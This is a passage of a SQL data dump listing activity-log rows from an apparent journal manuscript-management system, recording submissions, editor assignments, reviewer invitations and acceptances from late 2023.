17:29:35','Manuscript Submitted by Publisher',14331,'Publisher',988),(131070,'2023-11-28 13:12:27','Editor has Accepted to review Manuscript',14157,'Editor',194),(131071,'2023-11-28 13:12:51','Editor has been Editor Decision Accepted article',14157,'Editor',194),(131072,'2023-11-28 13:14:10','Reviewer has submitted comments',14157,'Reviewer',21391),(131073,'2023-11-28 13:14:54','Publisher has been Accepted Articles  article',14157,'Publisher',48),(131074,'2023-11-28 15:01:24','Publisher has been Assigned Editor',14319,'',1212),(131075,'2023-11-28 17:02:05','Manuscript Submitted by Publisher',14332,'Publisher',84),(131076,'2023-11-28 17:06:09','Manuscript Submitted by Publisher',14333,'Publisher',84),(131077,'2023-11-29 10:11:10','Reviewer has submitted comments',14309,'Reviewer',16786),(131078,'2023-11-29 10:12:45','Publisher : Notified Editor',14309,'Publisher',85),(131079,'2023-11-29 10:13:23','Editor has Accepted to review Manuscript',14309,'Editor',1408),(131080,'2023-11-29 10:13:34','Editor has been Editor Decision Accepted article',14309,'Editor',1408),(131081,'2023-11-29 10:33:26','Publisher: Accept Notification has been sent to Author',14309,'Publisher',85),(131082,'2023-11-29 11:51:03','Reviewer has submitted comments',14296,'Reviewer',14534),(131083,'2023-11-29 11:51:56','Editor has Accepted to review Manuscript',14296,'Editor',194),(131084,'2023-11-29 11:52:00','Editor has Accepted to review Manuscript',14310,'Editor',194),(131085,'2023-11-29 11:52:08','Editor has been Editor Decision Accepted article',14310,'Editor',194),(131086,'2023-11-29 11:52:19','Editor has been Editor Decision Accepted article',14296,'Editor',194),(131087,'2023-11-29 11:53:10','Publisher has been Accepted Articles  article',14296,'Publisher',48),(131088,'2023-11-29 14:12:19','Editor has Accepted to review Manuscript',14206,'Editor',1069),(131089,'2023-11-29 14:14:31','Editor has Accepted to review Manuscript',14204,'Editor',1070),(131090,'2023-11-29 14:22:33','Editor has Accepted to review Manuscript',14186,'Publisher',1070),(131091,'2023-11-29 14:26:42','Editor has Accepted to review Manuscript',14203,'Editor',1067),(131092,'2023-11-29 14:29:50','Editor has Accepted to review Manuscript',14201,'Editor',1068),(131093,'2023-11-29 14:31:27','Editor has Accepted to review Manuscript',14200,'Editor',1791),(131094,'2023-11-29 14:31:38','Editor has Accepted to review Manuscript',14198,'Editor',1791),(131095,'2023-11-29 14:34:47','Editor has Accepted to review Manuscript',14199,'Editor',1068),(131096,'2023-11-30 11:04:50','Editor has Accepted to review Manuscript',14134,'Editor',1732),(131097,'2023-11-30 11:04:53','Editor has Accepted to review Manuscript',14134,'Editor',1732),(131098,'2023-11-30 11:04:54','Editor has Accepted to review Manuscript',14134,'Editor',1732),(131099,'2023-11-30 11:04:54','Editor has Accepted to review Manuscript',14134,'Editor',1732),(131100,'2023-11-30 11:05:31','Editor has been Editor Decision Accepted article',13984,'Editor',1732),(131101,'2023-11-30 11:10:04','Editor has been Editor Decision Accepted article',14134,'Editor',1456),(131102,'2023-11-30 11:11:00','Editor has been Editor Decision Accepted article',14134,'Publisher',1456),(131103,'2023-11-30 11:11:44','Editor has Accepted to review Manuscript',14135,'Editor',1456),(131104,'2023-11-30 11:11:59','Editor has been Editor Decision Accepted article',14135,'Editor',1456),(131105,'2023-11-30 11:13:52','Editor has been 2 article',14135,'Publisher',673),(131106,'2023-11-30 11:19:19','Editor has been 2 article',14134,'Publisher',673),(131107,'2023-11-30 11:24:53','Editor has Accepted to review Manuscript',14137,'Editor',1456),(131108,'2023-11-30 11:25:27','Editor has been Editor Decision Accepted article',14137,'Editor',1456),(131109,'2023-11-30 11:26:36','Editor has been 2 article',14137,'Publisher',673),(131110,'2023-11-30 11:29:46','Editor has Accepted to review Manuscript',14165,'Editor',1790),(131111,'2023-11-30 11:30:13','Editor has been Editor Decision Accepted article',14165,'Editor',1790),(131112,'2023-11-30 11:33:03','Publisher has been Accepted Articles  article',14165,'Publisher',994),(131113,'2023-11-30 11:37:55','Editor has Accepted to review Manuscript',14215,'Editor',1790),(131114,'2023-11-30 11:37:59','Editor has Accepted to review Manuscript',14215,'Editor',1790),(131115,'2023-11-30 11:39:25','Editor has been Editor Decision Accepted article',14215,'Editor',1790),(131116,'2023-11-30 11:40:53','Editor has Accepted to review Manuscript',14139,'Editor',1370),(131117,'2023-11-30 11:41:05','Editor has been Editor Decision Accepted article',14139,'Editor',1370),(131118,'2023-11-30 11:41:47','Publisher has been Accepted Articles  article',14215,'Publisher',994),(131119,'2023-11-30 11:42:15','Editor has been 2 article',14139,'Publisher',673),(131120,'2023-11-30 11:43:24','Editor has Accepted to review Manuscript',14216,'Editor',1790),(131121,'2023-11-30 11:43:52','Editor has been Editor Decision Accepted article',14216,'Editor',1790),(131122,'2023-11-30 11:44:18','Editor has Accepted to review Manuscript',14141,'Editor',1732),(131123,'2023-11-30 11:44:35','Editor has been Editor Decision Accepted article',14141,'Editor',1732),(131124,'2023-11-30 11:44:40','Publisher has been Accepted Articles  article',14216,'Publisher',994),(131125,'2023-11-30 11:45:34','Editor has been 2 article',14141,'Publisher',673),(131126,'2023-11-30 11:47:44','Editor has Accepted to review Manuscript',14143,'Editor',1370),(131127,'2023-11-30 11:48:48','Editor has been Editor Decision Accepted article',14143,'Editor',1370),(131128,'2023-11-30 11:49:38','Editor has been 2 article',14143,'Publisher',673),(131129,'2023-11-30 11:51:08','Editor has Accepted to review Manuscript',14217,'Editor',1790),(131130,'2023-11-30 11:51:27','Editor has been Editor Decision Accepted article',14217,'Editor',1790),(131131,'2023-11-30 11:52:46','Publisher has been Accepted Articles  article',14217,'Publisher',994),(131132,'2023-11-30 11:53:41','Editor has been 1 article',13984,'Publisher',673),(131133,'2023-11-30 11:53:51','Editor has Accepted to review Manuscript',14218,'Editor',1790),(131134,'2023-11-30 11:54:08','Editor has been Editor Decision Accepted article',14218,'Editor',1790),(131135,'2023-11-30 11:55:12','Publisher has been Accepted Articles  article',14218,'Publisher',994),(131136,'2023-11-30 11:55:31','Editor has Accepted to review Manuscript',14145,'Editor',1732),(131137,'2023-11-30 11:55:46','Editor has been Editor Decision Accepted article',14145,'Editor',1732),(131138,'2023-11-30 11:56:32','Editor has Accepted to review Manuscript',14219,'Editor',1790),(131139,'2023-11-30 11:56:43','Editor has been 2 article',14145,'Publisher',673),(131140,'2023-11-30 11:56:47','Editor has been 2 article',14145,'Publisher',673),(131141,'2023-11-30 11:56:50','Editor has been 2 article',14145,'Publisher',673),(131142,'2023-11-30 11:56:53','Editor has been 2 article',14145,'Publisher',673),(131143,'2023-11-30 11:56:59','Editor has been Editor Decision Accepted article',14219,'Editor',1790),(131144,'2023-11-30 11:58:08','Editor has Accepted to review Manuscript',14151,'Editor',1732),(131145,'2023-11-30 11:58:10','Editor has Accepted to review Manuscript',14151,'Editor',1732),(131146,'2023-11-30 11:58:44','Publisher has been Accepted Articles  article',14219,'Publisher',994),(131147,'2023-11-30 11:58:51','Editor has been Editor Decision Accepted article',14151,'Editor',1732),(131148,'2023-11-30 11:59:51','Editor has been 2 article',14151,'Publisher',673),(131149,'2023-11-30 11:59:59','Editor has Accepted to review Manuscript',14220,'Editor',1790),(131150,'2023-11-30 12:00:16','Editor has been Editor Decision Accepted article',14220,'Editor',1790),(131151,'2023-11-30 12:00:25','Editor has Accepted to review Manuscript',14182,'Editor',1732),(131152,'2023-11-30 12:00:41','Editor has been Editor Decision Accepted article',14182,'Editor',1732),(131153,'2023-11-30 12:01:02','Publisher has been Accepted Articles  article',14220,'Publisher',994),(131154,'2023-11-30 12:01:40','Editor has been 2 article',14182,'Publisher',673),(131155,'2023-11-30 12:01:57','Editor has Accepted to review Manuscript',14221,'Editor',1790),(131156,'2023-11-30 12:02:12','Editor has been Editor Decision Accepted article',14221,'Editor',1790),(131157,'2023-11-30 12:02:12','Editor has Accepted to review Manuscript',14183,'Editor',1732),(131158,'2023-11-30 12:02:29','Editor has been Editor Decision Accepted article',14183,'Editor',1732),(131159,'2023-11-30 12:03:23','Editor has been 2 article',14183,'Publisher',673),(131160,'2023-11-30 12:03:37','Publisher has been Accepted Articles  article',14221,'Publisher',994),(131161,'2023-11-30 12:03:38','Publisher has been Accepted Articles  article',14221,'Publisher',994),(131162,'2023-11-30 12:04:33','Editor has Accepted to review Manuscript',14222,'Editor',1790),(131163,'2023-11-30 12:04:48','Editor has been Editor Decision Accepted article',14222,'Editor',1790),(131164,'2023-11-30 12:05:35','Publisher has been Accepted Articles  article',14222,'Publisher',994),(131165,'2023-11-30 12:06:39','Editor has Accepted to review Manuscript',14223,'Editor',1790),(131166,'2023-11-30 12:06:40','Editor has Accepted to review Manuscript',14223,'Editor',1790),(131167,'2023-11-30 12:06:54','Editor has been Editor Decision Accepted article',14223,'Editor',1790),(131168,'2023-11-30 12:08:15','Publisher has been Accepted Articles  article',14223,'Publisher',994),(131169,'2023-12-01 02:21:20','Manuscript Submitted by Author using Submission form',14334,'Author',14390),(131170,'2023-12-01 09:30:08','Editor has been Editor Decision Accepted article',14221,'Editor',1790),(131171,'2023-12-01 10:42:08','Publisher has been Assigned Editor',14295,'Publisher',984),(131172,'2023-12-01 10:42:27','Publisher has been Assigned Editor',14294,'Publisher',984),(131173,'2023-12-01 10:42:46','Publisher has been Assigned Editor',14293,'Publisher',984),(131174,'2023-12-01 10:43:01','Publisher has been Assigned Editor',14292,'Publisher',984),(131175,'2023-12-01 10:43:40','Publisher has been Assigned Editor',14291,'Publisher',984),(131176,'2023-12-01 10:43:57','Publisher has been Assigned Editor',14290,'Publisher',984),(131177,'2023-12-01 10:44:12','Publisher has been Assigned Editor',14289,'Publisher',984),(131178,'2023-12-01 10:44:29','Publisher has been Assigned Editor',14288,'Publisher',984),(131179,'2023-12-01 10:44:46','Publisher has been Assigned Editor',14287,'Publisher',984),(131180,'2023-12-01 10:45:00','Publisher has been Assigned Editor',14286,'Publisher',984),(131181,'2023-12-01 10:45:55','Editor has Accepted to review Manuscript',14319,'Editor',1406),(131182,'2023-12-01 10:46:18','Editor has been Editor Decision Accepted article',14319,'Editor',1406),(131183,'2023-12-01 10:46:33','Editor has Accepted to review Manuscript',14295,'Editor',1406),(131184,'2023-12-01 10:47:07','Editor has been Editor Decision Accepted article',14295,'Editor',1406),(131185,'2023-12-01 10:47:14','Editor has Accepted to review Manuscript',14294,'Editor',1406),(131186,'2023-12-01 10:47:28','Editor has been Editor Decision Accepted article',14294,'Editor',1406),(131187,'2023-12-01 10:47:59','Editor has Accepted to review Manuscript',14293,'Editor',1406),(131188,'2023-12-01 10:48:13','Editor has Accepted to review Manuscript',14292,'Editor',1406),(131189,'2023-12-01 10:48:23','Editor has been Editor Decision Accepted article',14293,'Editor',1406),(131190,'2023-12-01 10:48:36','Editor has been Editor Decision Accepted article',14292,'Editor',1406),(131191,'2023-12-01 10:49:02','Editor has Accepted to review Manuscript',14291,'Editor',1406),(131192,'2023-12-01 10:49:38','Editor has been Editor Decision Accepted article',14291,'Editor',1406),(131193,'2023-12-01 10:49:58','Editor has Accepted to review Manuscript',14290,'Editor',1406),(131194,'2023-12-01 10:50:08','Editor has been Editor Decision Accepted article',14290,'Editor',1406),(131195,'2023-12-01 10:50:59','Editor has Accepted to review Manuscript',14289,'Editor',1406),(131196,'2023-12-01 10:55:36','Editor has been Editor Decision Accepted article',14289,'Editor',1406),(131197,'2023-12-01 10:55:45','Editor has Accepted to review Manuscript',14288,'Editor',1406),(131198,'2023-12-01 10:55:54','Editor has been Editor Decision Accepted article',14288,'Editor',1406),(131199,'2023-12-01 10:56:21','Editor has Accepted to review Manuscript',14287,'Editor',1406),(131200,'2023-12-01 10:56:32','Editor has been Editor Decision Accepted article',14287,'Editor',1406),(131201,'2023-12-01 10:56:43','Editor has been Editor Decision Accepted article',14287,'Editor',1406),(131202,'2023-12-01 10:56:52','Editor has Accepted to review Manuscript',14286,'Editor',1406),(131203,'2023-12-01 10:57:10','Editor has Accepted to review Manuscript',14123,'Editor',1406),(131204,'2023-12-01 10:57:25','Editor has been Editor Decision Accepted article',14286,'Editor',1406),(131205,'2023-12-01 11:02:19','Publisher has been Accepted Articles  article',14295,'Publisher',984),(131206,'2023-12-01 11:02:36','Publisher has been Accepted Articles  article',14294,'Publisher',984),(131207,'2023-12-01 11:03:02','Publisher has been Accepted Articles  article',14293,'Publisher',984),(131208,'2023-12-01 11:03:17','Publisher has been Accepted Articles  article',14292,'Publisher',984),(131209,'2023-12-01 11:04:52','Publisher has been Accepted Articles  article',14291,'Publisher',984),(131210,'2023-12-01 11:05:22','Publisher has been Accepted Articles  article',14290,'Publisher',984),(131211,'2023-12-01 11:05:49','Publisher has been Accepted Articles  article',14289,'Publisher',984),(131212,'2023-12-01 11:06:23','Publisher has been Accepted Articles  article',14288,'Publisher',984),(131213,'2023-12-01 11:06:59','Publisher has been Accepted Articles  article',14287,'Publisher',984),(131214,'2023-12-01 11:07:26','Publisher has been Accepted Articles  article',14286,'Publisher',984),(131215,'2023-12-01 12:10:47','Publisher has been Assigned Editor',14334,'Publisher',85),(131216,'2023-12-01 13:41:44','Reviewer has submitted comments',14307,'Reviewer',11577),(131217,'2023-12-01 13:42:10','Editor has Accepted to review Manuscript',14307,'Editor',194),(131218,'2023-12-01 13:42:24','Editor has been Editor Decision Accepted article',14307,'Editor',194),(131219,'2023-12-01 13:43:08','Publisher has been Accepted Articles  article',14307,'Publisher',48),(131220,'2023-12-01 13:49:33','Publisher has Invited Reviewer',14334,'Publisher',85),(131221,'2023-12-01 13:49:37','Publisher has Invited Reviewer',14334,'Publisher',85),(131222,'2023-12-01 13:49:42','Publisher has Invited Reviewer',14334,'Publisher',85),(131223,'2023-12-01 13:50:09','Publisher has Invited Reviewer',14334,'Publisher',85),(131224,'2023-12-01 13:50:14','Publisher has Invited Reviewer',14334,'Publisher',85),(131225,'2023-12-01 14:14:53','Manuscript Updated',14310,'Publisher',48),(131226,'2023-12-01 14:15:15','Publisher has been Accepted Articles  article',14310,'Publisher',48),(131227,'2023-12-01 14:15:27','Manuscript Updated',14310,'Publisher',48),(131228,'2023-12-01 14:37:27','Manuscript Submitted by Publisher',14335,'Publisher',48),(131229,'2023-12-01 17:10:36','Manuscript Submitted by Publisher',14336,'Publisher',48),(131230,'2023-12-02 09:15:09','Manuscript Submitted by Author using Submission form',14337,'Author',14393),(131231,'2023-12-02 09:51:22','Publisher has Invited Reviewer',14334,'Publisher',85),(131232,'2023-12-02 09:51:26','Publisher has Invited Reviewer',14334,'Publisher',85),(131233,'2023-12-02 09:51:31','Publisher has Invited Reviewer',14334,'Publisher',85),(131234,'2023-12-02 09:51:35','Publisher has Invited Reviewer',14334,'Publisher',85),(131235,'2023-12-02 09:51:40','Publisher has Invited Reviewer',14334,'Publisher',85),(131236,'2023-12-03 13:31:10','Manuscript Submitted by Author using Submission form',14338,'Author',14394),(131237,'2023-12-04 09:29:46','Manuscript Submitted by Publisher',14339,'',1045),(131238,'2023-12-04 10:40:31','Publisher has been Assigned Editor',14336,'Publisher',48),(131239,'2023-12-04 10:40:46','Publisher has been Assigned Editor',14335,'Publisher',48),(131240,'2023-12-04 11:30:14','Editor has Accepted to review Manuscript',14124,'Editor',359),(131241,'2023-12-04 11:30:59','Editor has been Editor Decision Accepted article',14124,'Editor',359),(131242,'2023-12-04 11:32:11','Publisher has been Accepted Articles  article',14124,'Publisher',248),(131243,'2023-12-04 11:43:25','Editor has Accepted to review Manuscript',14125,'Editor',359),(131244,'2023-12-04 11:43:56','Editor has been Editor Decision Accepted article',14125,'Editor',359),(131245,'2023-12-04 11:44:52','Publisher has been Accepted Articles  article',14125,'Publisher',248),(131246,'2023-12-04 11:53:41','Editor has Accepted to review Manuscript',14126,'Editor',358),(131247,'2023-12-04 11:54:33','Editor has been Editor Decision Accepted article',14126,'Editor',358),(131248,'2023-12-04 12:00:20','Publisher has been Accepted Articles  article',14126,'Publisher',248),(131249,'2023-12-04 12:29:20','Editor has Accepted to review Manuscript',14127,'Editor',358),(131250,'2023-12-04 12:29:57','Editor has been Editor Decision Accepted article',14127,'Editor',358),(131251,'2023-12-04 12:31:28','Publisher has been Accepted Articles  article',14127,'Publisher',248),(131252,'2023-12-04 12:38:39','Editor has Accepted to review Manuscript',14022,'Editor',358),(131253,'2023-12-04 12:38:54','Editor has been Editor Decision Accepted article',14022,'Editor',358),(131254,'2023-12-04 12:39:22','Publisher has been Assigned Editor',14331,'Publisher',988),(131255,'2023-12-04 12:39:43','Publisher has been Assigned Editor',14330,'Publisher',988),(131256,'2023-12-04 12:39:58','Publisher has been Assigned Editor',14329,'Publisher',988),(131257,'2023-12-04 12:40:15','Publisher has been Assigned Editor',14327,'Publisher',988),(131258,'2023-12-04 12:40:34','Publisher has been Assigned Editor',14326,'Publisher',988),(131259,'2023-12-04 12:40:50','Publisher has been Assigned Editor',14328,'Publisher',988),(131260,'2023-12-04 12:41:11','Publisher has been Assigned Editor',14325,'Publisher',988),(131261,'2023-12-04 12:41:25','Publisher has been Assigned Editor',14324,'Publisher',988),(131262,'2023-12-04 12:41:40','Publisher has been Assigned Editor',14323,'Publisher',988),(131263,'2023-12-04 12:41:56','Publisher has been Assigned Editor',14322,'Publisher',988),(131264,'2023-12-04 12:42:12','Publisher has been Assigned Editor',14321,'Publisher',988),(131265,'2023-12-04 12:56:59','Editor has Invited Reviewer',14022,'Editor',358),(131266,'2023-12-04 12:57:04','Editor has Invited Reviewer',14022,'Editor',358),(131267,'2023-12-04 13:08:22','Reviewer has submitted comments',14022,'Reviewer',9111),(131268,'2023-12-04 13:09:40','Editor has been Editor Decision Accepted article',14022,'Editor',358),(131269,'2023-12-04 13:10:52','Publisher has been Accepted Articles  article',14022,'Publisher',248),(131270,'2023-12-04 14:08:02','Editor has Accepted to review Manuscript',14335,'Editor',194),(131271,'2023-12-04 14:08:13','Editor has been Editor Decision Accepted article',14335,'Editor',194),(131272,'2023-12-04 14:10:49','Manuscript Updated',14335,'Publisher',48),(131273,'2023-12-04 14:11:24','Publisher has been Accepted Articles  article',14335,'Publisher',48),(131274,'2023-12-04 14:15:48','Editor has Accepted to review Manuscript',14181,'Editor',1781),(131275,'2023-12-04 14:16:45','Editor has been Editor Decision Accepted article',14181,'Editor',1781),(131276,'2023-12-04 14:27:36','Editor has been 2 article',14181,'Publisher',376),(131277,'2023-12-04 14:43:54','Editor has Accepted to review Manuscript',14179,'Editor',1705),(131278,'2023-12-04 14:44:32','Editor has been Editor Decision Accepted article',14179,'Editor',1705),(131279,'2023-12-04 14:45:29','Editor has Accepted to review Manuscript',14336,'Editor',193),(131280,'2023-12-04 14:45:29','Editor has Accepted to review Manuscript',14336,'Editor',193),(131281,'2023-12-04 14:45:48','Editor has been Editor Decision Accepted article',14336,'Editor',193),(131282,'2023-12-04 14:45:48','Editor has been Editor Decision Accepted article',14336,'Editor',193),(131283,'2023-12-04 14:45:50','Editor has been 2 article',14179,'Publisher',376),(131284,'2023-12-04 14:46:42','Manuscript Updated',14336,'Publisher',48),(131285,'2023-12-04 14:46:42','Manuscript Updated',14336,'Publisher',48),(131286,'2023-12-04 14:47:05','Publisher has been Accepted Articles  article',14336,'Publisher',48),(131287,'2023-12-04 14:47:18','Manuscript Updated',14336,'Publisher',48),(131288,'2023-12-04 15:14:15','Editor has Accepted to review Manuscript',14177,'Editor',1452),(131289,'2023-12-04 15:16:08','Editor has been Editor Decision Accepted article',14177,'Editor',1452),(131290,'2023-12-04 15:16:56','Editor has been 2 article',14177,'Publisher',376),(131291,'2023-12-04 16:40:00','Manuscript Submitted by Author using Submission form',14340,'Author',14397),(131292,'2023-12-05 10:05:19','Editor has Accepted to review Manuscript',14128,'Editor',359),(131293,'2023-12-05 10:05:50','Editor has been Editor Decision Accepted article',14128,'Editor',359),(131294,'2023-12-05 10:07:13','Publisher has been Accepted Articles  article',14128,'Publisher',248),(131295,'2023-12-05 10:40:54','Editor has Accepted to review Manuscript',14174,'Editor',1245),(131296,'2023-12-05 10:41:32','Editor has been Editor Decision Accepted article',14174,'Editor',1245),(131297,'2023-12-05 10:44:55','Publisher has been Accepted Articles  article',14174,'Publisher',376),(131298,'2023-12-05 10:59:18','Editor has Accepted to review Manuscript',14131,'Editor',358),(131299,'2023-12-05 10:59:35','Editor has been Editor Decision Accepted article',14131,'Editor',358),(131300,'2023-12-05 11:01:27','Publisher has been Accepted Articles  article',14131,'Publisher',248),(131301,'2023-12-05 11:09:11','Editor has Accepted to review Manuscript',14132,'Editor',359),(131302,'2023-12-05 11:09:28','Editor has been Editor Decision Accepted article',14132,'Editor',359),(131303,'2023-12-05 11:10:19','Publisher has been Accepted Articles  article',14132,'Publisher',248),(131304,'2023-12-05 11:10:40','Manuscript Submitted by Publisher',14341,'',1050),(131305,'2023-12-05 11:16:57','Editor has Accepted to review Manuscript',14245,'Editor',359),(131306,'2023-12-05 11:17:16','Editor has been Editor Decision Accepted article',14245,'Editor',359),(131307,'2023-12-05 11:18:07','Publisher has been Accepted Articles  article',14245,'Publisher',248),(131308,'2023-12-05 11:22:23','Editor has Accepted to review Manuscript',14246,'Editor',359),(131309,'2023-12-05 11:22:44','Editor has been Editor Decision Accepted article',14246,'Editor',359),(131310,'2023-12-05 11:23:04','Editor has Accepted to review Manuscript',14172,'Editor',1012),(131311,'2023-12-05 11:23:41','Editor has been Editor Decision Accepted article',14172,'Editor',1012),(131312,'2023-12-05 11:23:57','Publisher has been Accepted Articles  article',14246,'Publisher',248),(131313,'2023-12-05 11:24:31','Publisher has been Accepted Articles  article',14172,'Publisher',376),(131314,'2023-12-05 11:56:18','Editor has Accepted to review Manuscript',14168,'Editor',1011),(131315,'2023-12-05 11:56:39','Editor has been Editor Decision Accepted article',14168,'Editor',1011),(131316,'2023-12-05 11:56:52','Publisher has Invited Reviewer',14334,'Publisher',85),(131317,'2023-12-05 11:56:57','Publisher has Invited Reviewer',14334,'Publisher',85),(131318,'2023-12-05 11:57:02','Publisher has Invited Reviewer',14334,'Publisher',85),(131319,'2023-12-05 11:57:06','Publisher has Invited Reviewer',14334,'Publisher',85),(131320,'2023-12-05 11:57:11','Publisher has Invited Reviewer',14334,'Publisher',85),(131321,'2023-12-05 11:57:17','Publisher has been Accepted Articles  article',14168,'Publisher',376),(131322,'2023-12-05 12:05:11','Editor has Accepted to review Manuscript',14166,'Editor',1781),(131323,'2023-12-05 12:05:36','Editor has been Editor Decision Accepted article',14166,'Editor',1781),(131324,'2023-12-05 12:06:39','Publisher has been Accepted Articles  article',14166,'Publisher',376),(131325,'2023-12-05 12:11:17','Editor has Accepted to review Manuscript',14164,'Editor',1452),(131326,'2023-12-05 12:11:37','Editor has been Editor Decision Accepted article',14164,'Editor',1452),(131327,'2023-12-05 12:12:24','Publisher has been Accepted Articles  article',14164,'Publisher',376),(131328,'2023-12-05 12:17:15','Editor has Accepted to review Manuscript',14154,'Editor',1012),(131329,'2023-12-05 12:19:08','Editor has been Editor Decision Accepted article',14154,'Editor',1012),(131330,'2023-12-05 12:19:55','Publisher has been Accepted Articles  article',14154,'Publisher',376),(131331,'2023-12-05 12:24:00','Editor has Accepted to review Manuscript',14147,'Editor',1011),(131332,'2023-12-05 12:24:24','Editor has been Editor Decision Accepted article',14147,'Editor',1011),(131333,'2023-12-05 12:25:59','Publisher has been Accepted Articles  article',14147,'Publisher',376),(131334,'2023-12-05 12:47:51','Manuscript Submitted by Publisher',14342,'Publisher',376),(131335,'2023-12-05 12:51:44','Manuscript Submitted by Publisher',14343,'Publisher',376),(131336,'2023-12-05 13:38:46','Publisher has been Withdrawn  article',14244,'',1045),(131337,'2023-12-06 09:09:11','Publisher has been Assigned Editor',14339,'',1045),(131338,'2023-12-06 09:13:23','Publisher has been Assigned Editor',14341,'',1050),(131339,'2023-12-06 09:14:18','Publisher has been Assigned Editor',14337,'',1050),(131340,'2023-12-06 09:24:09','Manuscript Submitted by Publisher',14344,'',1045),(131341,'2023-12-06 10:06:04','Publisher has Invited Reviewer',14334,'Publisher',85),(131342,'2023-12-06 10:06:08','Publisher has Invited Reviewer',14334,'Publisher',85),(131343,'2023-12-06 10:06:13','Publisher has Invited Reviewer',14334,'Publisher',85),(131344,'2023-12-06 10:06:18','Publisher has Invited Reviewer',14334,'Publisher',85),(131345,'2023-12-06 10:06:22','Publisher has Invited Reviewer',14334,'Publisher',85),(131346,'2023-12-06 13:12:53','Publisher has been Assigned Editor',14343,'Publisher',376),(131347,'2023-12-06 13:13:16','Publisher has been Assigned Editor',14342,'Publisher',376),(131348,'2023-12-06 13:13:34','Publisher has been Assigned Editor',14311,'Publisher',376),(131349,'2023-12-06 13:13:51','Publisher has been Assigned Editor',14318,'Publisher',376),(131350,'2023-12-06 13:14:06','Publisher has been Assigned Editor',14317,'Publisher',376),(131351,'2023-12-06 13:14:24','Publisher has been Assigned Editor',14313,'Publisher',376),(131352,'2023-12-06 13:52:26','Publisher has been Assigned Editor',14316,'Publisher',376),(131353,'2023-12-06 13:52:41','Publisher has been Assigned Editor',14315,'Publisher',376),(131354,'2023-12-06 13:52:59','Publisher has been Assigned Editor',14314,'Publisher',376),(131355,'2023-12-06 13:53:17','Publisher has been Assigned Editor',14312,'Publisher',376),(131356,'2023-12-06 15:29:34','Manuscript Submitted by Publisher',14344,'Publisher',319),(131357,'2023-12-06 15:32:58','Manuscript Submitted by Publisher',14345,'Publisher',319),(131358,'2023-12-06 15:35:45','Manuscript Submitted by Publisher',14346,'Publisher',319),(131359,'2023-12-06 15:38:55','Manuscript Submitted by Publisher',14347,'Publisher',319),(131360,'2023-12-06 15:41:41','Manuscript Submitted by Publisher',14348,'Publisher',319),(131361,'2023-12-06 15:45:16','Manuscript Submitted by Publisher',14349,'Publisher',319),(131362,'2023-12-06 15:47:33','Manuscript Submitted by Publisher',14350,'Publisher',319),(131363,'2023-12-06 15:50:47','Manuscript Submitted by Publisher',14351,'Publisher',319),(131364,'2023-12-06 15:55:09','Manuscript Submitted by Publisher',14352,'Publisher',319),(131365,'2023-12-06 15:58:36','Manuscript Submitted by Publisher',14353,'Publisher',319),(131366,'2023-12-06 16:35:24','Manuscript Submitted by Author using Submission form',14354,'Author',14412),(131367,'2023-12-06 17:10:19','Publisher has been Accepted Articles  article',14042,'',1281),(131368,'2023-12-07 11:22:50','Editor has been Editor Decision Accepted article',14206,'Editor',1069),(131369,'2023-12-07 11:24:39','Editor has been Editor Decision Accepted article',14204,'Editor',1070),(131370,'2023-12-07 11:25:23','Editor has been Editor Decision Accepted article',14186,'Editor',1070),(131371,'2023-12-07 11:53:36','Editor has been Editor Decision Accepted article',14201,'Editor',1068),(131372,'2023-12-07 11:53:54','Editor has been Editor Decision Accepted article',14199,'Editor',1068),(131373,'2023-12-07 11:54:48','Editor has Accepted to review Manuscript',13072,'Editor',1068),(131374,'2023-12-07 11:55:19','Editor has been Editor Decision Accepted article',13072,'Editor',1068),(131375,'2023-12-07 11:57:37','Editor has been Editor Decision Accepted article',14200,'Editor',1791),(131376,'2023-12-07 11:57:48','Editor has been Editor Decision Accepted article',14198,'Editor',1791),(131377,'2023-12-07 12:00:07','Editor has been Editor Decision Accepted article',14203,'Editor',1067),(131378,'2023-12-07 12:01:43','Editor has been Editor Decision Accepted article',14203,'Editor',1067),(131379,'2023-12-07 12:03:55','Editor has Accepted to review Manuscript',14283,'Editor',1068),(131380,'2023-12-07 12:04:07','Editor has been Editor Decision Accepted article',14283,'Editor',1068),(131381,'2023-12-07 12:59:40','Publisher has been Accepted Articles  article',14206,'Publisher',319),(131382,'2023-12-07 14:26:37','Publisher has been Accepted Articles  article',14204,'Publisher',319),(131383,'2023-12-07 14:39:10','Publisher has been Accepted Articles  article',14203,'Publisher',319),(131384,'2023-12-07 15:38:13','Publisher has been Accepted Articles  article',14201,'Publisher',319),(131385,'2023-12-07 15:59:09','Publisher has been Accepted Articles  article',14200,'Publisher',319),(131386,'2023-12-07 15:59:12','Publisher has been Accepted Articles  article',14200,'Publisher',319),(131387,'2023-12-07 16:46:36','Publisher has been Accepted Articles  article',14199,'Publisher',319),(131388,'2023-12-07 17:05:19','Publisher has been Accepted Articles  article',14186,'Publisher',319),(131389,'2023-12-08 09:52:07','Publisher has been Accepted Articles  article',14198,'Publisher',319),(131390,'2023-12-08 10:50:28','Editor has been Editor Decision Accepted article',8797,'Editor',1069),(131391,'2023-12-08 10:50:30','Editor has been Editor Decision Accepted article',8797,'Editor',1069),(131392,'2023-12-08 10:50:36','Editor has been Editor Decision Accepted article',8797,'Editor',1069),(131393,'2023-12-08 10:50:39','Editor has been Editor Decision Accepted article',8797,'Editor',1069),(131394,'2023-12-08 10:50:39','Editor has been Editor Decision Accepted article',8797,'Editor',1069),(131395,'2023-12-08 10:50:39','Editor has been Editor Decision Accepted article',8797,'Editor',1069),(131396,'2023-12-08 10:52:19','Editor has been 2 article',8797,'Publisher',319),(131397,'2023-12-08 11:48:52','Manuscript Submitted by Publisher',14355,'',1045),(131398,'2023-12-08 11:50:41','Manuscript Submitted by Publisher',14356,'',1045),(131399,'2023-12-08 11:53:07','Manuscript Submitted by Publisher',14357,'',1045),(131400,'2023-12-08 11:54:41','Manuscript Submitted by Publisher',14358,'',1045),(131401,'2023-12-08 15:03:09','Reviewer has submitted comments',14334,'Reviewer',10806),(131402,'2023-12-08 15:54:44','Editor has been Editor Decision Accepted article',8797,'Editor',1069),(131403,'2023-12-08 16:44:32','Publisher has been Accepted Articles  article',8797,'Publisher',319),(131404,'2023-12-08 17:14:12','Publisher has been Assigned Editor',14353,'Publisher',319),(131405,'2023-12-08 17:14:55','Publisher has been Assigned Editor',14352,'Publisher',319),(131406,'2023-12-08 17:15:41','Publisher has been Assigned Editor',14351,'Publisher',319),(131407,'2023-12-08 17:16:40','Publisher has been Assigned Editor',14350,'Publisher',319),(131408,'2023-12-08 17:18:51','Publisher has been Assigned Editor',14349,'Publisher',319),(131409,'2023-12-08 